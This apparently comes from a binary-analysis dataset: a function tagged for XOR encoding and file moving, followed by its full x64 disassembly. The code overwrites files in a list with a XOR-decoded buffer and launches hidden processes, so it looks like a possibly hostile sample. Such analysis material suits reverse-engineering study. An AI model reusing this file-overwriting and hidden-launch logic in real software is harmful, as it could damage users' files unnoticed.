Function at 0x14002f170
Capabilities:
Encode data using xor
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x158]
sub rsp, 0x230
mov ebx, 0x208
mov ecx, ebx
call fcn.14000a090
mov ecx, ebx
mov r13, rax
call fcn.14000a090
mov rdx, qword [0x14004bc38]
xor ecx, ecx
mov rbx, qword [0x14004bc58]
mov rdi, rax
call rdx
mov rcx, rax
mov r8d, 0x104
mov rdx, r13
call rbx
mov rdx, rdi
mov rcx, r13
sub rdx, r13
xor r15d, r15d
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x14002f1db
lea rcx, [rbp + 0x160]
mov word [rbp + 0x160], 0x4a2a
call fcn.1400040f8
mov rcx, qword [rax]
movsx edx, byte [rcx]
mov rcx, rdi
call fcn.14000b1e0
or rsi, 0xffffffffffffffff
mov rbx, rax
mov rcx, rsi
lea r14, [rax + 2]
inc rcx
cmp word [r14 + rcx*2], r15w
jne 0x14002f21c
inc rcx
mov eax, 2
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14000a090
mov rdx, r14
sub rax, r14
movzx ecx, word [rdx]
mov word [rax + rdx], cx
lea rdx, [rdx + 2]
test cx, cx
jne 0x14002f243
xorps xmm0, xmm0
mov qword [rbp - 8], r15
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp], r15
mov r8, rsi
inc r8
cmp word [r14 + r8*2], r15w
jne 0x14002f265
mov rdx, r14
lea rcx, [rbp - 0x18]
call fcn.140006780
mov rax, qword [rbp - 8]
mov ecx, 0x18
mov word [rbx + rax*2 - 6], r15w
call fcn.14000a044
mov r8, rax
lea rcx, [0x140049ccc]
mov edx, 5
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
call fcn.140032560
xorps xmm0, xmm0
mov qword [rbp - 0x48], r15
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x40], r15
mov r8, rsi
inc r8
cmp byte [rax + r8], r15b
jne 0x14002f2c0
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14000185c
cmp qword [rbp - 0x40], 0x10
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x58]
mov qword [rsp + 0x78], r15
cmovae r8, qword [rbp - 0x58]
xorps xmm0, xmm0
add r8, qword [rbp - 0x48]
mov r12d, 7
cmp qword [rbp - 0x40], 0x10
movups xmmword [rsp + 0x68], xmm0
cmovae rdx, qword [rbp - 0x58]
mov qword [rbp - 0x80], r15
cmp rdx, r8
jne 0x14002f320
mov eax, r12d
mov word [rsp + 0x68], r15w
mov qword [rbp - 0x80], rax
jmp 0x14002f334
mov r9, r8
lea rcx, [rsp + 0x68]
sub r9, rdx
call fcn.140006c78
mov rax, qword [rbp - 0x80]
cmp rax, 8
mov qword [rbp + 0x58], r15
lea rdx, [rsp + 0x68]
mov qword [rbp + 0x60], r15
cmovae rdx, qword [rsp + 0x68]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov r8, rsi
inc r8
cmp word [rdx + r8*2], r15w
jne 0x14002f355
lea rcx, [rbp + 0x48]
call fcn.140006780
mov rdx, qword [rbp - 0x80]
mov ebx, 0x27
cmp rdx, 8
jb 0x14002f3ad
mov rcx, qword [rsp + 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f3a8
mov rcx, qword [rcx - 8]
add rdx, rbx
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fd52
call fcn.14000a088
mov rdx, rsi
inc rdx
cmp word [r14 + rdx*2], r15w
jne 0x14002f3b0
cmp rdx, qword [rbp]
ja 0x14002f3f0
cmp qword [rbp], 8
lea rbx, [rdx + rdx]
mov qword [rbp - 8], rdx
lea rdi, [rbp - 0x18]
cmovae rdi, qword [rbp - 0x18]
mov r8, rbx
mov rcx, rdi
mov rdx, r14
call fcn.14000c2f0
mov word [rdi + rbx], r15w
mov ebx, 0x27
jmp 0x14002f3fc
mov r9, r14
lea rcx, [rbp - 0x18]
call fcn.140006888
cmp qword [rbp + 0x60], 8
lea rdx, [rbp + 0x48]
mov r8, qword [rbp + 0x58]
lea rcx, [rbp - 0x18]
cmovae rdx, qword [rbp + 0x48]
call fcn.140006704
mov ecx, 0x18
call fcn.14000a044
mov r8, rax
lea rcx, [0x140049ce0]
mov edx, 0x1a
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
call fcn.140032560
xorps xmm0, xmm0
mov qword [rbp - 0x68], r15
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x60], r15
mov r8, rsi
inc r8
cmp byte [rax + r8], r15b
jne 0x14002f452
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.14000185c
lea rcx, [rbp + 0x160]
mov word [rbp + 0x160], 0x4a02
call fcn.1400040f8
mov r9, qword [rbp - 0x60]
lea rdx, [rbp - 0x78]
mov r8, qword [rbp - 0x78]
cmp r9, 0x10
mov r14d, 0xf
mov rax, qword [rax]
cmovae rdx, r8
mov cl, byte [rax]
cmp byte [rdx], cl
jne 0x14002fb34
lea eax, [r14 + 0x3e]
mov dword [rsp + 0x50], 0x270015
lea rcx, [rsp + 0x50]
mov word [rsp + 0x60], ax
mov dword [rsp + 0x54], 0x690034
mov dword [rsp + 0x58], 0x30007b
mov dword [rsp + 0x5c], 0x520066
call fcn.14000647c
xorps xmm0, xmm0
mov r8, rsi
mov rdx, qword [rax]
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], r15
inc r8
cmp word [rdx + r8*2], r15w
jne 0x14002f4eb
lea rcx, [rbp + 0x28]
call fcn.140006780
mov ecx, 0x200
call fcn.14000a090
mov rbx, qword [0x14004bc50]
lea rcx, [rsp + 0x50]
mov rdi, rax
mov dword [rsp + 0x50], 0xf0022
mov eax, 0x54
mov dword [rsp + 0x54], 0x19001d
mov word [rsp + 0x58], ax
call fcn.1400063f4
mov r8d, 0x100
mov rdx, rdi
mov rcx, qword [rax]
call rbx
xorps xmm0, xmm0
mov qword [rbp + 0x78], r15
movdqu xmmword [rbp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov r8, rsi
movups xmmword [rsp + 0x68], xmm0
mov qword [rbp - 0x80], r15
inc r8
cmp word [rdi + r8*2], r15w
jne 0x14002f561
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.140006780
lea rdx, [rbp + 0x68]
lea rcx, [rsp + 0x68]
call fcn.14002c104
mov rdi, qword [rbp + 0x68]
mov r15, qword [rbp + 0x70]
cmp rdi, r15
je 0x14002f68f
mov dword [rbp + 0x160], 0x4a0058
lea rbx, [0x140049c30]
lea rcx, [rbp + 0x160]
call fcn.140006618
cmp qword [rdi + 0x18], 8
mov rcx, qword [rax]
movzx edx, word [rcx]
mov rcx, rdi
jb 0x14002f5c7
mov rcx, qword [rdi]
call fcn.14000b1e0
cmp qword [rdi + 0x18], 8
mov rcx, rdi
mov rax, qword [0x14004bc48]
jb 0x14002f5e0
mov rcx, qword [rdi]
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 5
call rax
mov r14, rax
cmp rax, rsi
je 0x14002f682
xor r8d, r8d
movabs rax, 0xa80a80a80a80a80b
mul r8
mov al, byte [r8 + rbx]
shr rdx, 8
imul rcx, rdx, 0x186
mov rdx, r8
sub rdx, rcx
lea rcx, [0x1400428e0]
xor al, byte [rdx + rcx]
mov byte [r8 + rbx], al
inc r8
cmp r8, 0x71
jb 0x14002f60e
mov rbx, qword [0x14004bc60]
mov ecx, 4
call fcn.14000a044
and qword [rsp + 0x20], 0
lea rdx, [0x140049c30]
mov r9, rax
mov r8d, 0x71
mov rcx, r14
call rbx
test eax, eax
jne 0x14002f732
lea rbx, [0x140049c30]
add rdi, 0x20
cmp rdi, r15
jne 0x14002f5a8
xor r15d, r15d
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x270015
mov ebx, 0x27
mov dword [rsp + 0x54], 0x690034
mov dword [rsp + 0x58], 0x30007b
mov dword [rsp + 0x5c], 0x700066
call fcn.14000636c
xorps xmm0, xmm0
mov r8, rsi
mov rdx, qword [rax]
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], r15
inc r8
cmp word [rdx + r8*2], r15w
jne 0x14002f6d6
lea rcx, [rbp + 8]
call fcn.140006780
cmp qword [rbp - 0x60], 0x10
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x78]
mov qword [rsp + 0x78], r15
cmovae r8, qword [rbp - 0x78]
xorps xmm0, xmm0
add r8, qword [rbp - 0x68]
cmp qword [rbp - 0x60], 0x10
movups xmmword [rsp + 0x68], xmm0
cmovae rdx, qword [rbp - 0x78]
mov qword [rbp - 0x80], r15
cmp rdx, r8
jne 0x14002f889
mov qword [rbp - 0x80], r12
mov word [rsp + 0x68], r15w
jmp 0x14002f89d
mov rcx, r14
call qword [0x14004bc08]
mov eax, 0x54
mov dword [rsp + 0x50], 0x3a0058
lea rcx, [rsp + 0x50]
mov word [rsp + 0x58], ax
mov dword [rsp + 0x54], 0x2f0034
call fcn.1400063f4
mov r8, qword [rdi + 0x10]
mov rcx, rsi
xor r15d, r15d
mov rdx, qword [rax]
inc rcx
cmp word [rdx + rcx*2], r15w
jne 0x14002f76c
movabs rax, 0x7ffffffffffffffe
sub rax, r8
cmp rax, rcx
jb 0x14002fd58
cmp qword [rdi + 0x18], 8
mov r9, rdi
jb 0x14002f799
mov r9, qword [rdi]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x98]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r8
call fcn.140006b60
cmp qword [rbp + 0xb0], 8
lea rdx, [rbp + 0x98]
xorps xmm0, xmm0
mov qword [rsp + 0x78], r15
cmovae rdx, qword [rbp + 0x98]
mov r8, rsi
movups xmmword [rsp + 0x68], xmm0
mov qword [rbp - 0x80], r15
inc r8
cmp word [rdx + r8*2], r15w
jne 0x14002f7df
lea rcx, [rsp + 0x68]
call fcn.140006780
lea rcx, [rbp + 0x98]
call fcn.1400066a0
cmp qword [rbp - 0x80], 8
lea rdx, [rsp + 0x68]
cmovae rdx, qword [rsp + 0x68]
cmp qword [rdi + 0x18], 8
jb 0x14002f819
mov rdi, qword [rdi]
mov rcx, rdi
call fcn.140013b4c
cmp qword [rbp - 0x80], 8
lea rdx, [rsp + 0x68]
mov r8, qword [rsp + 0x78]
lea rcx, [rbp + 0x28]
cmovae rdx, qword [rsp + 0x68]
call fcn.140006704
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x14002f692
mov rcx, qword [rsp + 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f87f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fd4c
call fcn.14000a088
jmp 0x14002f692
mov r9, r8
lea rcx, [rsp + 0x68]
sub r9, rdx
call fcn.140006c78
mov r12, qword [rbp - 0x80]
cmp r12, 8
lea rdx, [rsp + 0x68]
mov r8, rsi
cmovae rdx, qword [rsp + 0x68]
inc r8
cmp word [rdx + r8*2], r15w
jne 0x14002f8af
lea rcx, [rbp + 8]
call fcn.140006704
mov rdx, qword [rbp - 0x80]
mov r12d, 0x1000
cmp rdx, 8
jb 0x14002f904
mov rcx, qword [rsp + 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, r12
jb 0x14002f8ff
mov rcx, qword [rcx - 8]
add rdx, rbx
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fd52
call fcn.14000a088
xorps xmm0, xmm0
mov qword [rbp - 0x28], r15
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x20], r15
mov r8, rsi
inc r8
cmp word [r13 + r8*2], r15w
jne 0x14002f916
mov rdx, r13
lea rcx, [rbp - 0x38]
call fcn.140006780
mov r14, qword [rbp - 0x20]
lea rax, [rbp - 0x38]
mov rdi, qword [rbp - 0x38]
cmp r14, 8
mov r8, qword [rbp - 0x28]
cmovae rax, rdi
test r8, r8
je 0x14002fa10
mov r13d, 0x20
mov rcx, r8
mov rdx, rax
mov rbx, r15
cmp word [rax], r13w
je 0x14002f976
cmp rcx, 1
je 0x14002f979
add rdx, 2
dec rcx
cmp word [rdx], r13w
jne 0x14002f963
mov rbx, rdx
test rbx, rbx
je 0x14002fa0b
sub rbx, rax
sar rbx, 1
cmp rbx, rsi
je 0x14002fa0b
mov dword [rbp + 0x160], 0x4a0049
lea rcx, [rbp + 0x160]
call fcn.140006618
cmp r14, 8
mov rcx, qword [rax]
lea rax, [rbp - 0x38]
cmovae rax, rdi
movzx edx, word [rcx]
mov word [rax + rbx*2], dx
lea rdx, [rbp - 0x38]
mov r14, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x38]
cmp r14, 8
mov r8, qword [rbp - 0x28]
cmovae rdx, rdi
test r8, r8
je 0x14002fa0b
mov rax, r8
mov rcx, rdx
mov rbx, r15
cmp word [rdx], r13w
je 0x14002f9f8
cmp rax, 1
je 0x14002f9fb
add rcx, 2
dec rax
cmp word [rcx], r13w
jne 0x14002f9e5
mov rbx, rcx
test rbx, rbx
je 0x14002fa0b
sub rbx, rdx
sar rbx, 1
cmp rbx, rsi
jne 0x14002f997
mov ebx, 0x27
cmp r14, 8
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 8]
cmovae rdx, rdi
call fcn.140006704
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x6a0054
mov dword [rsp + 0x54], 0x69002c
mov dword [rsp + 0x58], 0x270032
mov dword [rsp + 0x5c], 0x700036
call fcn.14000636c
mov r8, rsi
mov rdx, qword [rax]
inc r8
cmp word [rdx + r8*2], r15w
jne 0x14002fa55
lea rcx, [rbp + 8]
call fcn.140006704
lea rcx, [rbp + 0x160]
mov dword [rbp + 0x160], 0x4a0054
call fcn.140006618
mov rdx, qword [rax]
inc rsi
cmp word [rdx + rsi*2], r15w
jne 0x14002fa81
mov r8, rsi
lea rcx, [rbp + 0x28]
call fcn.140006704
mov ecx, 0x3e8
call qword [0x14004bc10]
mov edi, 0x64
lea rcx, [rbp + 0xc4]
mov r8d, edi
xor edx, edx
call fcn.14000cb00
xorps xmm0, xmm0
mov word [rbp + 0x160], 0x4a02
xor eax, eax
lea esi, [rdi + 4]
lea rcx, [rbp + 0x160]
mov qword [rbp + 0x90], rax
movups xmmword [rbp + 0x80], xmm0
mov dword [rbp + 0xc0], esi
call fcn.1400040f8
cmp qword [rbp - 0x60], 0x10
lea rdx, [rbp - 0x78]
cmovae rdx, qword [rbp - 0x78]
mov rax, qword [rax]
mov cl, byte [rax]
cmp byte [rdx], cl
je 0x14002fb9c
lea rcx, [rbp - 0x38]
call fcn.1400066a0
lea rcx, [rbp + 8]
call fcn.1400066a0
lea rcx, [rbp + 0x68]
call fcn.140006504
lea rcx, [rbp + 0x28]
call fcn.1400066a0
mov r9, qword [rbp - 0x60]
lea r14d, [rdi - 0x55]
mov r8, qword [rbp - 0x78]
cmp r9, 0x10
jb 0x14002fb6a
lea rdx, [r9 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x14002fb62
mov r8, qword [r8 - 8]
add rdx, rbx
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fd52
mov rcx, r8
call fcn.14000a088
lea rcx, [rbp + 0x48]
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r14
mov byte [rbp - 0x78], r15b
call fcn.1400066a0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14002fd16
inc rdx
cmp rdx, 0x1000
jmp 0x14002fcf4
cmp qword [rbp + 0x40], 8
lea rcx, [rbp + 0x80]
mov rax, qword [0x14004bc40]
lea rdx, [rbp + 0x28]
cmovae rdx, qword [rbp + 0x28]
mov ebx, 0x8000000
mov qword [rsp + 0x48], rcx
xor r9d, r9d
lea rcx, [rbp + 0xc0]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r15d
call rax
mov ecx, 0x1388
call qword [0x14004bc10]
mov r8, rdi
lea rcx, [rbp + 0xc4]
xor edx, edx
call fcn.14000cb00
xor eax, eax
mov dword [rbp + 0xc0], esi
cmp qword [rbp + 0x20], 8
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x48], rcx
lea rdx, [rbp + 8]
cmovae rdx, qword [rbp + 8]
lea rcx, [rbp + 0xc0]
mov qword [rsp + 0x40], rcx
xorps xmm0, xmm0
mov qword [rsp + 0x38], r15
xor r9d, r9d
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rbp + 0x90], rax
xor ecx, ecx
mov rax, qword [0x14004bc40]
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r15d
movups xmmword [rbp + 0x80], xmm0
call rax
lea rcx, [rbp - 0x38]
call fcn.1400066a0
lea rcx, [rbp + 8]
call fcn.1400066a0
lea rcx, [rbp + 0x68]
call fcn.140006504
lea rcx, [rbp + 0x28]
call fcn.1400066a0
mov rdx, qword [rbp - 0x60]
mov ebx, 0x27
cmp rdx, 0x10
jb 0x14002fcc9
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x14002fcc4
mov rcx, qword [rcx - 8]
add rdx, rbx
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fd52
call fcn.14000a088
mov r14d, 0xf
mov qword [rbp - 0x68], r15
lea rcx, [rbp + 0x48]
mov qword [rbp - 0x60], r14
mov byte [rbp - 0x78], r15b
call fcn.1400066a0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14002fd16
inc rdx
cmp rdx, r12
mov rcx, qword [rbp - 0x58]
mov rax, rcx
jb 0x14002fd11
mov rcx, qword [rcx - 8]
add rdx, rbx
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fd52
call fcn.14000a088
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r14
mov byte [rbp - 0x58], r15b
call fcn.1400066a0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140010b64
int3
call fcn.140010b64
int3
call fcn.140001238
int3